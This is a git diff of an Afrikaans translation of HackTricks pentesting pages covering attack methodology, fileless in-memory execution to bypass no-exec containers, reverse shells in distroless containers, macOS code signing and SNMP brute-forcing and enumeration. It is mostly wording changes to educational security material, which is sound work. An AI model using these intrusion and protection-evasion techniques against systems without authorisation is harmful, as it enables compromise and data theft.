@@ -649,7 +649,7 @@ Daar is verskeie gereedskap daar buite wat 'n deel van die voorgestelde aksies t
* Alle gratis kursusse van [**@Jhaddix**](https://twitter.com/Jhaddix) soos [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
-
+
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
diff --git a/generic-methodologies-and-resources/pentesting-methodology.md b/generic-methodologies-and-resources/pentesting-methodology.md
index 9dc602468..c682ac11b 100644
--- a/generic-methodologies-and-resources/pentesting-methodology.md
+++ b/generic-methodologies-and-resources/pentesting-methodology.md
@@ -15,9 +15,9 @@ Leer & oefen GCP Hacking:
{% endhint %}
-
+
-As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
+As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -42,7 +42,7 @@ Let daarop dat as jy 'n eksterne toets uitvoer, sodra jy daarin slaag om toegang
### **2-** [**Geniet die netwerk**](pentesting-network/) **(Intern)**
**Hierdie afdeling geld slegs as jy 'n interne toets uitvoer.**\
-Voordat jy 'n host aanval, mag jy verkies om **sommige akrediteer te steel** **van die netwerk** of **sniff** sommige **data** om **passief/aktief (MitM)** te leer wat jy binne die netwerk kan vind. Jy kan [**Pentesting Network**](pentesting-network/#sniffing) lees.
+Voordat jy 'n host aanval, mag jy verkies om **sommige akrediteer te steel** **van die netwerk** of **sniff** sommige **data** om **passief/aktief (MitM)** te leer wat jy binne die netwerk kan vind. Jy kan [**Pentesting Netwerk**](pentesting-network/#sniffing) lees.
### 3- [Poort Skandering - Diens ontdekking](pentesting-network/#scanning-hosts)
@@ -50,7 +50,7 @@ Die eerste ding om te doen wanneer jy **soek na kwesbaarhede in 'n host** is om
### **4-** [Soek diens weergawe exploits](search-exploits.md)
-Sodra jy weet watter dienste loop, en dalk hul weergawe, moet jy **soek na bekende kwesbaarhede**. Miskien het jy geluk en daar is 'n exploit om jou 'n shell te gee...
+Sodra jy weet watter dienste loop, en dalk hul weergawe, moet jy **soek na bekende kwesbaarhede**. Miskien het jy geluk en daar is 'n exploit om vir jou 'n shell te gee...
### **5-** Pentesting Dienste
@@ -61,7 +61,7 @@ As daar nie enige fancy exploit vir enige lopende diens is nie, moet jy soek na
**Ek wil 'n spesiale vermelding maak van die** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **deel (aangesien dit die mees uitgebreide een is).**\
Ook, 'n klein gids oor hoe om [**bekende kwesbaarhede in sagteware te vind**](search-exploits.md) kan hier gevind word.
-**As jou diens nie in die indeks is nie, soek in Google** vir ander tutorials en **laat weet as jy wil hê ek moet dit byvoeg.** As jy **niks kan vind** in Google nie, voer jou **eie blinde pentesting** uit, jy kan begin deur **aan die diens te koppel, dit te fuzz en die antwoorde te lees** (indien enige).
+**As jou diens nie in die indeks is nie, soek in Google** vir ander tutoriaal en **laat my weet as jy wil hê ek moet dit byvoeg.** As jy **niks kan vind** in Google nie, voer jou **eie blinde pentesting** uit, jy kan begin deur **aan die diens te koppel, dit te fuzz en die antwoorde te lees** (indien enige).
#### 5.1 Outomatiese Gereedskap
@@ -91,7 +91,7 @@ As jy probleme met die shell het, kan jy hier 'n klein **samestelling van die nu
### **9 -** [**Exfiltrasie**](exfiltration.md)
-Jy sal waarskynlik moet **data van die slagoffer onttrek** of selfs **iets inbring** (soos privilige eskalasie skripte). **Hier het jy 'n** [**pos oor algemene gereedskap wat jy met hierdie doeleindes kan gebruik**](exfiltration.md)**.**
+Jy sal waarskynlik moet **data uit die slagoffer onttrek** of selfs **iets inbring** (soos privilige eskalasie skripte). **Hier het jy 'n** [**pos oor algemene gereedskap wat jy met hierdie doeleindes kan gebruik**](exfiltration.md)**.**
### **10- Privilege Eskalasie**
@@ -102,15 +102,15 @@ Hier kan jy 'n **gids vind om privileges plaaslik in** [**Linux**](../linux-hard
Jy moet ook hierdie bladsye oor hoe **Windows werk** nagaan:
* [**Verifikasie, Akrediteer, Token privileges en UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
-* Hoe [**NTLM werk**](../windows-hardening/ntlm/)
+* Hoe werk [**NTLM**](../windows-hardening/ntlm/)
* Hoe om [**akrediteer te steel**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows
* Sommige truuks oor [_**Aktiewe Gids**_](../windows-hardening/active-directory-methodology/)
-**Moet nie vergeet om die beste gereedskap te kyk om Windows en Linux plaaslike Privilege Eskalasie paaie te enumerate nie:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
+**Moet nie vergeet om die beste gereedskap te kyk om Windows en Linux plaaslike Privilege Eskalasie paaie te enumereer nie:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- Domein Privesc**
-Hier kan jy 'n [**metodologie vind wat die mees algemene aksies verduidelik om te enumerate, privileges te eskaleer en volhard op 'n Aktiewe Gids**](../windows-hardening/active-directory-methodology/). Alhoewel dit net 'n subafdeling van 'n afdeling is, kan hierdie proses **uiters delikaat** wees op 'n Pentesting/Red Team opdrag.
+Hier kan jy 'n [**metodologie vind wat die mees algemene aksies verduidelik om te enumereer, privileges te eskaleer en volharding op 'n Aktiewe Gids**](../windows-hardening/active-directory-methodology/). Alhoewel dit net 'n subafdeling van 'n afdeling is, kan hierdie proses **uiters delikaat** wees op 'n Pentesting/Red Team opdrag.
### 11 - POST
@@ -129,7 +129,7 @@ TODO: Voltooi volharding Post in Windows & Linux
### 12 - Pivoting
Met die **versamelde akrediteer** kan jy toegang tot ander masjiene hê, of dalk moet jy **nuwe hosts ontdek en skandeer** (begin die Pentesting Metodologie weer) binne nuwe netwerke waar jou slagoffer gekoppel is.\
-In hierdie geval kan tunneling nodig wees. Hier kan jy [**'n pos oor tunneling**](tunneling-and-port-forwarding.md) vind.\
+In hierdie geval kan tunneling nodig wees. Hier kan jy [**'n pos oor tunneling vind**](tunneling-and-port-forwarding.md).\
Jy moet beslis ook die pos oor [Aktiewe Gids pentesting Metodologie](../windows-hardening/active-directory-methodology/) nagaan. Daar sal jy oulike truuks vind om lateraal te beweeg, privileges te eskaleer en akrediteer te dump.\
Kyk ook na die bladsy oor [**NTLM**](../windows-hardening/ntlm/), dit kan baie nuttig wees om op Windows omgewings te pivot.
@@ -151,9 +151,9 @@ Kyk ook na die bladsy oor [**NTLM**](../windows-hardening/ntlm/), dit kan baie n
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
-
+
-As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
+As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
diff --git a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md
index 4113e4896..e120fed91 100644
--- a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md
+++ b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md
@@ -15,13 +15,13 @@ Leer & oefen GCP Hacking:
{% endhint %}
-
+
-As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiende Pools geskryf en gesproke vereis_).
+As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons huur aan!** (_vloeiende Pools geskryf en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
-## Video's
+## Videos
In die volgende video's kan jy die tegnieke wat op hierdie bladsy genoem word, meer in diepte verduidelik vind:
@@ -30,7 +30,7 @@ In die volgende video's kan jy die tegnieke wat op hierdie bladsy genoem word, m
## read-only / no-exec scenario
-Dit is al hoe meer algemeen om linux masjiene te vind wat gemonteer is met **read-only (ro) lêerstelsel beskerming**, veral in houers. Dit is omdat dit so maklik is om 'n houer met 'n ro lêerstelsel te laat loop deur **`readOnlyRootFilesystem: true`** in die `securitycontext` in te stel:
+Dit is al hoe meer algemeen om Linux masjiene te vind wat gemonteer is met **read-only (ro) lêerstelsel beskerming**, veral in houers. Dit is omdat dit so maklik is om 'n houer met 'n ro lêerstelsel te laat loop deur **`readOnlyRootFilesystem: true`** in die `securitycontext` in te stel:
apiVersion: v1
kind: Pod
@@ -48,36 +48,36 @@ securityContext:
Tog, selfs al is die lêerstelsel as ro gemonteer, sal **`/dev/shm`** steeds skryfbaar wees, so dit is vals dat ons nie iets op die skyf kan skryf nie. Hierdie gids sal egter **gemonteer wees met no-exec beskerming**, so as jy 'n binêre hier aflaai, sal jy **nie in staat wees om dit uit te voer nie**.
{% hint style="warning" %}
-Van 'n rooi span perspektief maak dit **moeilik om binêre te aflaai en uit te voer** wat nie reeds in die stelsel is nie (soos agterdeure of enumerators soos `kubectl`).
+Van 'n rooi span perspektief maak dit **dit moeilik om binêre af te laai en uit te voer** wat nie reeds in die stelsel is nie (soos agterdeure of enumerators soos `kubectl`).
{% endhint %}
-## Eenvoudigste omseiling: Skripte
+## Easiest bypass: Scripts
Let daarop dat ek binêre genoem het, jy kan **enige skrip uitvoer** solank die interpreter binne die masjien is, soos 'n **shell skrip** as `sh` teenwoordig is of 'n **python** **skrip** as `python` geïnstalleer is.
Tog is dit nie net genoeg om jou binêre agterdeur of ander binêre gereedskap wat jy mag nodig hê om te loop, uit te voer nie.
-## Geheue Omseilings
+## Memory Bypasses
As jy 'n binêre wil uitvoer maar die lêerstelsel dit nie toelaat nie, is die beste manier om dit te doen deur **dit uit geheue uit te voer**, aangesien die **beskermings daar nie van toepassing is nie**.
-### FD + exec syscall omseiling
+### FD + exec syscall bypass
As jy 'n paar kragtige skrip enjin in die masjien het, soos **Python**, **Perl**, of **Ruby**, kan jy die binêre aflaai om uit geheue uit te voer, dit in 'n geheue lêer beskrywer (`create_memfd` syscall) stoor, wat nie deur daardie beskermings beskerm gaan word nie en dan 'n **`exec` syscall** aanroep wat die **fd as die lêer om uit te voer** aandui.
-Vir hierdie kan jy maklik die projek [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) gebruik. Jy kan dit 'n binêre gee en dit sal 'n skrip in die aangeduide taal genereer met die **binêre gecomprimeer en b64 geënkodeer** met die instruksies om dit te **decodeer en te dekomprimeer** in 'n **fd** wat geskep is deur `create_memfd` syscall aan te roep en 'n oproep na die **exec** syscall om dit te laat loop.
+Vir hierdie kan jy maklik die projek [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) gebruik. Jy kan dit 'n binêre gee en dit sal 'n skrip in die aangeduide taal genereer met die **binêre gecomprimeer en b64 geënkodeer** met die instruksies om dit te **dekodeer en te dekomprimeer** in 'n **fd** wat geskep is deur `create_memfd` syscall aan te roep en 'n oproep na die **exec** syscall om dit te laat loop.
{% hint style="warning" %}
Dit werk nie in ander skrip tale soos PHP of Node nie omdat hulle nie enige d**efault manier het om rou syscalls** van 'n skrip aan te roep nie, so dit is nie moontlik om `create_memfd` aan te roep om die **geheue fd** te skep om die binêre te stoor nie.
-Boonop sal die skep van 'n **regte fd** met 'n lêer in `/dev/shm` nie werk nie, aangesien jy nie toegelaat sal word om dit uit te voer nie omdat die **no-exec beskerming** van toepassing sal wees.
+Boonop sal die skep van 'n **regte fd** met 'n lêer in `/dev/shm` nie werk nie, aangesien jy nie toegelaat sal word om dit te laat loop nie omdat die **no-exec beskerming** van toepassing sal wees.
{% endhint %}
### DDexec / EverythingExec
-[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) is 'n tegniek wat jou toelaat om die **geheue van jou eie proses** te verander deur sy **`/proc/self/mem`** te oorskryf.
+[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) is 'n tegniek wat jou toelaat om die **geheue van jou eie proses** te modifiseer deur sy **`/proc/self/mem`** te oorskryf.
-Daarom, **beheer die assembly kode** wat deur die proses uitgevoer word, kan jy 'n **shellcode** skryf en die proses "mutate" om **enige arbitrêre kode** uit te voer.
+Daarom, deur **die samestelling kode** wat deur die proses uitgevoer word, te beheer, kan jy 'n **shellcode** skryf en die proses "mutate" om **enige arbitrêre kode** uit te voer.
{% hint style="success" %}
**DDexec / EverythingExec** sal jou toelaat om jou eie **shellcode** of **enige binêre** uit **geheue** te laai en **uit te voer**.
@@ -94,9 +94,9 @@ For more information about this technique check the Github or:
### MemExec
-[**Memexec**](https://github.com/arget13/memexec) is die natuurlike volgende stap van DDexec. Dit is 'n **DDexec shellcode demonised**, so elke keer wanneer jy 'n **ander binêre** wil **hardloop**, hoef jy nie DDexec weer te herlaai nie, jy kan net memexec shellcode via die DDexec-tegniek hardloop en dan **kommunikeer met hierdie demon om nuwe binêre te stuur om te laai en te hardloop**.
+[**Memexec**](https://github.com/arget13/memexec) is die natuurlike volgende stap van DDexec. Dit is 'n **DDexec shellcode demonised**, so elke keer wanneer jy 'n **verskillende binêre** wil **uitvoer**, hoef jy nie DDexec weer te herlaai nie, jy kan net memexec shellcode via die DDexec tegniek uitvoer en dan **kommunikeer met hierdie demon om nuwe binêre te stuur om te laai en uit te voer**.
-Jy kan 'n voorbeeld vind van hoe om **memexec te gebruik om binêre van 'n PHP reverse shell** uit te voer in [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
+Jy kan 'n voorbeeld vind van hoe om **memexec te gebruik om binêre van 'n PHP reverse shell uit te voer** in [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
### Memdlopen
@@ -112,29 +112,29 @@ Die doel van distroless houers is om die **aanvaloppervlak van houers te vermind
### Reverse Shell
-In 'n distroless houer mag jy **nie eens `sh` of `bash`** vind om 'n gewone skulp te kry nie. Jy sal ook nie binêre soos `ls`, `whoami`, `id`... vind nie, alles wat jy gewoonlik in 'n stelsel hardloop.
+In 'n distroless houer mag jy **nie eers `sh` of `bash`** vind om 'n gewone skulp te kry nie. Jy sal ook nie binêre soos `ls`, `whoami`, `id`... vind nie, alles wat jy gewoonlik in 'n stelsel uitvoer.
{% hint style="warning" %}
-Daarom, jy **sal nie** in staat wees om 'n **reverse shell** of **te enumerate** die stelsel soos jy gewoonlik doen nie.
+Daarom, jy **sal nie** in staat wees om 'n **reverse shell** te kry of die stelsel te **enumerate** soos jy gewoonlik doen nie.
{% endhint %}
-As die gecompromitteerde houer egter byvoorbeeld 'n flask web loop, dan is python geïnstalleer, en daarom kan jy 'n **Python reverse shell** kry. As dit node loop, kan jy 'n Node rev shell kry, en dieselfde met byna enige **skriptaal**.
+As die gecompromitteerde houer egter byvoorbeeld 'n flask web loop, dan is python geïnstalleer, en daarom kan jy 'n **Python reverse shell** kry. As dit node loop, kan jy 'n Node rev shell kry, en dieselfde met byna enige **scripting taal**.
{% hint style="success" %}
-Met die skriptaal kan jy **die stelsel enumerate** met behulp van die taal se vermoëns.
+Met die scripting taal kan jy die stelsel **enumerate** met behulp van die taal se vermoëns.
{% endhint %}
As daar **geen `read-only/no-exec`** beskermings is nie, kan jy jou reverse shell misbruik om **in die lêerstelsel jou binêre te skryf** en **uit te voer**.
{% hint style="success" %}
-Echter, in hierdie tipe houers sal hierdie beskermings gewoonlik bestaan, maar jy kan die **vorige geheue-uitvoertegnieke gebruik om dit te omseil**.
+In hierdie tipe houers sal hierdie beskermings gewoonlik bestaan, maar jy kan die **vorige geheue-uitvoertegnieke gebruik om dit te omseil**.
{% endhint %}
-Jy kan **voorbeelde** vind van hoe om **sommige RCE kwesbaarhede te benut** om skriptaal **reverse shells** te kry en binêre uit geheue uit te voer in [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
+Jy kan **voorbeelde** vind van hoe om **sommige RCE kwesbaarhede te benut** om scripting tale **reverse shells** te kry en binêre uit geheue uit te voer in [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
-
+
-As jy belangstel in 'n **hacking loopbaan** en die onhackable hack - **ons huur!** (_vloeiende Pools geskryf en gesproke vereis_).
+As jy belangstel in 'n **hacking loopbaan** en die onhackable te hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md
index b6e0539e6..539dcfabf 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md
@@ -17,9 +17,9 @@ Leer & oefen GCP Hacking:
+
Die magiese kop van die Code Signature is **`0xFADE0CC0`**. Dan het jy inligting soos die lengte en die aantal blobs van die superBlob wat hulle bevat.\
Dit is moontlik om hierdie inligting in die [bronkode hier](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276) te vind:
@@ -167,7 +167,7 @@ Werklik, dit is moontlik om in die Code Directory strukture 'n parameter genaamd
* Hash van `info.plist` (of die een binne `__TEXT.__info__plist`).
* Hash van die Vereistes
-* Hash van die Hulpbron Gids (hash van `_CodeSignature/CodeResources` lêer binne die bundle).
+* Hash van die Hulpbron Directory (hash van `_CodeSignature/CodeResources` lêer binne die bundle).
* Toepassing spesifiek (onbenut)
* Hash van die regte
* DMG kode handtekeninge slegs
@@ -175,7 +175,7 @@ Werklik, dit is moontlik om in die Code Directory strukture 'n parameter genaamd
## Code Signing Flags
-Elke proses het 'n bitmasker wat bekend staan as die `status` wat deur die kern gestarte word en sommige daarvan kan oorgeskryf word deur die **kodehandtekening**. Hierdie vlae wat in die kodehandtekening ingesluit kan word, is [gedefinieer in die kode](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36):
+Elke proses het 'n bitmasker wat bekend staan as die `status` wat deur die kernel begin word en sommige daarvan kan oorgeskryf word deur die **kodehandtekening**. Hierdie vlae wat in die kodehandtekening ingesluit kan word, is [gedefinieer in die kode](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36):
```c
/* code signing attributes of a process */
#define CS_VALID 0x00000001 /* dynamically valid */
diff --git a/network-services-pentesting/pentesting-snmp/README.md b/network-services-pentesting/pentesting-snmp/README.md
index 78cecbb66..bffc4ebc5 100644
--- a/network-services-pentesting/pentesting-snmp/README.md
+++ b/network-services-pentesting/pentesting-snmp/README.md
@@ -15,9 +15,9 @@ Leer & oefen GCP Hacking:
{% endhint %}
-
+
-As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
+As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons is op soek na personeel!** (_vloeiend in geskryf en gesproke Pools vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -34,7 +34,7 @@ SNMP gebruik ook die poort **162/UDP** vir **traps**. Dit is data **pakkette wat
### MIB
-Om te verseker dat SNMP-toegang werk oor vervaardigers en met verskillende kliënt-bediener kombinasies, is die **Management Information Base (MIB)** geskep. MIB is 'n **onafhanklike formaat vir die stoor van toestel-inligting**. 'n MIB is 'n **teks** lêer waarin al die navraagbare **SNMP-objekte** van 'n toestel in 'n **gestandaardiseerde** boomhiërargie gelys is. Dit bevat ten minste een `Object Identifier` (`OID`), wat, benewens die nodige **unieke adres** en 'n **naam**, ook inligting verskaf oor die tipe, toegangregte, en 'n beskrywing van die onderskeie objek.\
+Om te verseker dat SNMP-toegang oor vervaardigers en met verskillende kliënt-bediener kombinasies werk, is die **Management Information Base (MIB)** geskep. MIB is 'n **onafhanklike formaat vir die stoor van toestel-inligting**. 'n MIB is 'n **tekst** lêer waarin al die navraagbare **SNMP-objekte** van 'n toestel in 'n **gestandaardiseerde** boomhiërargie gelys word. Dit bevat ten minste een `Object Identifier` (`OID`), wat, benewens die nodige **unieke adres** en 'n **naam**, ook inligting verskaf oor die tipe, toegangregte, en 'n beskrywing van die onderskeie objek.\
MIB-lêers is geskryf in die `Abstract Syntax Notation One` (`ASN.1`) gebaseerde ASCII teksformaat. Die **MIBs bevat nie data nie**, maar hulle verduidelik **waar om watter inligting te vind** en hoe dit lyk, wat waardes vir die spesifieke OID teruggee, of watter datatipe gebruik word.
### OIDs
@@ -48,7 +48,7 @@ Verder word verskaffers die vryheid gegee om private takke te vestig. Binne hier
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
Jy kan **navigeer** deur 'n **OID-boom** vanaf die web hier: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) of **sien wat 'n OID beteken** (soos `1.3.6.1.2.1.1`) deur toegang te verkry tot [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
-Daar is 'n paar **bekende OIDs** soos die wat binne [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) verwys na MIB-2 gedefinieerde Simple Network Management Protocol (SNMP) veranderlikes. En van die **OIDs wat van hierdie een hang** kan jy 'n paar interessante gasheerdata verkry (stelseldatas, netwerkdata, prosesdata...)
+Daar is 'n paar **bekende OIDs** soos diegene binne [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) wat MIB-2 gedefinieerde Simple Network Management Protocol (SNMP) veranderlikes verwys. En van die **OIDs wat van hierdie een afhang**, kan jy 'n paar interessante gasheerdata verkry (stelseldatas, netwerkdata, prosesdata...)
### **OID Voorbeeld**
@@ -63,7 +63,7 @@ Hier is 'n ontleding van hierdie adres.
* 6 – dit is die dod of die Departement van Verdediging wat die organisasie is wat die Internet eerste gevestig het.
* 1 – dit is die waarde van die internet om aan te dui dat alle kommunikasie deur die Internet sal plaasvind.
* 4 – hierdie waarde bepaal dat hierdie toestel deur 'n private organisasie gemaak is en nie 'n regeringsorganisasie nie.
-* 1 – hierdie waarde dui aan dat die toestel deur 'n onderneming of 'n besigheid entiteit gemaak is.
+* 1 – hierdie waarde dui aan dat die toestel deur 'n onderneming of 'n besigheidseenheid gemaak is.
Hierdie eerste ses waardes is geneig om dieselfde te wees vir alle toestelle en hulle gee jou die basiese inligting oor hulle. Hierdie volgorde van nommers sal dieselfde wees vir alle OIDs, behalwe wanneer die toestel deur die regering gemaak is.
@@ -98,7 +98,7 @@ Daar is **2 tipes gemeenskapsstrings**:
* **`public`** hoofsaaklik **lees net** funksies
* **`private`** **Lees/Skryf** in die algemeen
-Let daarop dat **die skryfbaarheid van 'n OID afhang van die gemeenskapsstring wat gebruik word**, so **selfs** as jy vind dat "**public**" gebruik word, kan jy dalk **sekere waardes skryf.** Ook, daar **kan** voorwerpe wees wat **altyd "Lees Net"** is.\
+Let daarop dat **die skryfbaarheid van 'n OID afhang van die gemeenskapsstring wat gebruik word**, so **selfs** as jy vind dat "**public**" gebruik word, kan jy dalk **sekere waardes skryf.** Daar **kan** ook voorwerpe wees wat **altyd "Lees Net"** is.\
As jy probeer om 'n objek te **skryf**, sal 'n **`noSuchName` of `readOnly` fout** ontvang word\*\*.\*\*
In weergawes 1 en 2/2c, as jy 'n **slegte** gemeenskapsstring gebruik, sal die bediener nie **reageer** nie. So, as dit reageer, is 'n **geldige gemeenskapsstring gebruik**.
@@ -109,13 +109,13 @@ In weergawes 1 en 2/2c, as jy 'n **slegte** gemeenskapsstring gebruik, sal die b
* Die SNMP-agent ontvang versoeke op UDP-poort **161**.
* Die bestuurder ontvang kennisgewings ([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) en [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) op poort **162**.
-* Wanneer dit gebruik word met [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) of [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), word versoeke ontvang op poort **10161** en kennisgewings word gestuur na poort **10162**.
+* Wanneer dit saam met [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) of [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security) gebruik word, word versoeke op poort **10161** ontvang en kennisgewings word na poort **10162** gestuur.
## Brute-Force Gemeenskapsstring (v1 en v2c)
-Om die **gemeenskapsstring te raai** kan jy 'n woordeboekaanval uitvoer. Kyk [hier verskillende maniere om 'n brute-force aanval teen SNMP uit te voer](../../generic-methodologies-and-resources/brute-force.md#snmp). 'n Gereeld gebruikte gemeenskapsstring is `public`.
+Om die **gemeenskapsstring te raai**, kan jy 'n woordeboekaanval uitvoer. Kyk [hier verskillende maniere om 'n brute-force aanval teen SNMP uit te voer](../../generic-methodologies-and-resources/brute-force.md#snmp). 'n Gereeld gebruikte gemeenskapsstring is `public`.
-## SNMP Opname
+## Enumerating SNMP
Dit word aanbeveel om die volgende te installeer om te sien wat **elke OID wat van die toestel versamel is, beteken**:
```bash
@@ -170,8 +170,8 @@ Albei opdragte vereis 'n **gemeenskapsstring** en die relevante IP-adres, wat vo
* **Stelselsprosesse**: Toegang via `1.3.6.1.2.1.25.1.6.0`, hierdie parameter stel die monitering van aktiewe prosesse binne die stelsel moontlik.
* **Lopende Programme**: Die `1.3.6.1.2.1.25.4.2.1.2` waarde is aangewys vir die opsporing van tans lopende programme.
* **Prosesse Pad**: Om te bepaal waar 'n proses van loop, word die `1.3.6.1.2.1.25.4.2.1.4` MIB waarde gebruik.
-* **Stoor Eenhede**: Die monitering van stoor eenhede word gefasiliteer deur `1.3.6.1.2.1.25.2.3.1.4`.
-* **Sagtemakenaam**: Om die sagteware wat op 'n stelsel geïnstalleer is te identifiseer, word `1.3.6.1.2.1.25.6.3.1.2` gebruik.
+* **Bergingseenhede**: Die monitering van bergingseenhede word gefasiliteer deur `1.3.6.1.2.1.25.2.3.1.4`.
+* **Sagteware Naam**: Om die sagteware wat op 'n stelsel geïnstalleer is te identifiseer, word `1.3.6.1.2.1.25.6.3.1.2` gebruik.
* **Gebruikersrekeninge**: Die `1.3.6.1.4.1.77.1.2.25` waarde stel die opsporing van gebruikersrekeninge moontlik.
* **TCP Plaaslike Poorte**: Laastens, `1.3.6.1.2.1.6.13.1.3` is aangewys vir die monitering van TCP plaaslike poorte, wat insig bied in aktiewe netwerkverbindinge.
@@ -185,7 +185,7 @@ Kyk na hierdie bladsy as jy Cisco-toerusting het:
## Van SNMP na RCE
-As jy die **string** het wat jou toelaat om **waardes** binne die SNMP-diens te **skryf**, mag jy dit misbruik om **opdragte** uit te voer:
+As jy die **string** het wat jou toelaat om **waardes** binne die SNMP-diens te **skryf**, kan jy dit misbruik om **opdragte** uit te voer:
{% content-ref url="snmp-rce.md" %}
[snmp-rce.md](snmp-rce.md)
@@ -231,7 +231,7 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
```
## Modifying SNMP values
-Jy kan _**NetScanTools**_ gebruik om **waardes** te **wysig**. Jy sal die **private string** moet ken om dit te doen.
+Jy kan _**NetScanTools**_ gebruik om **waardes** te **wysig**. Jy sal die **privaat string** moet ken om dit te doen.
## Spoofing
@@ -243,9 +243,9 @@ As daar 'n ACL is wat slegs sekere IP's toelaat om die SNMP-diens te vra, kan jy
* snmpd.conf
* snmp-config.xml
-
+
-As jy belangstel in 'n **hacking career** en die onhackable te hack - **ons huur aan!** (_vloeiende Pools skriftelik en geselskaplik vereis_).
+As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
diff --git a/network-services-pentesting/pentesting-snmp/cisco-snmp.md b/network-services-pentesting/pentesting-snmp/cisco-snmp.md
index b2c9148a3..08289017a 100644
--- a/network-services-pentesting/pentesting-snmp/cisco-snmp.md
+++ b/network-services-pentesting/pentesting-snmp/cisco-snmp.md
@@ -6,26 +6,26 @@ Leer & oefen GCP Hacking:
-Support HackTricks
+Ondersteun HackTricks
-* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
-* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
+* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
-
+
